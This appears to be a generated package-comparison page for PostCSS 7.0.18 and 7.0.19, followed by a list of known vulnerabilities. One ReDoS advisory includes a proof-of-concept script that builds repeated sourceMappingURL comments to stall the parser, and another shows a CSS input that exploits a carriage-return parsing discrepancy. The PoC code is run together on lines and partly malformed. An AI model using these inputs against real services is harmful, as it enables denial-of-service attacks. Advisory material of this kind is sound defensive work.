PostCSS versions 7.0.18 and 7.0.19 are very similar, both serving as tools for transforming styles using JavaScript plugins. Both versions share the same core dependencies: chalk for stylized console output, source-map for debugging, and supports-color to detect terminal color support. The license remains MIT, and the repository information points to the official PostCSS GitHub repository. The author information is also consistent between the two versions.
The primary difference lies in the release date and the unpackedSize of the distributed package. Version 7.0.18 was released on September 5, 2019, while version 7.0.19 was released on October 24, 2019. The unpacked size also slightly increased from 1,083,080 bytes in 7.0.18 to 1,085,982 bytes in 7.0.19, suggesting minor updates or bug fixes were incorporated.
For developers considering using either version, PostCSS offers a robust and flexible platform for manipulating CSS with JavaScript. The minor version difference indicates that upgrading from 7.0.18 to 7.0.19 should be relatively seamless, likely involving only minor bug fixes and improvements. Developers should review the changelog or release notes (if available) for a detailed breakdown of the changes between these specific versions to ensure compatibility with existing plugins and workflows.
All the vulnerabilities related to the version 7.0.19 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.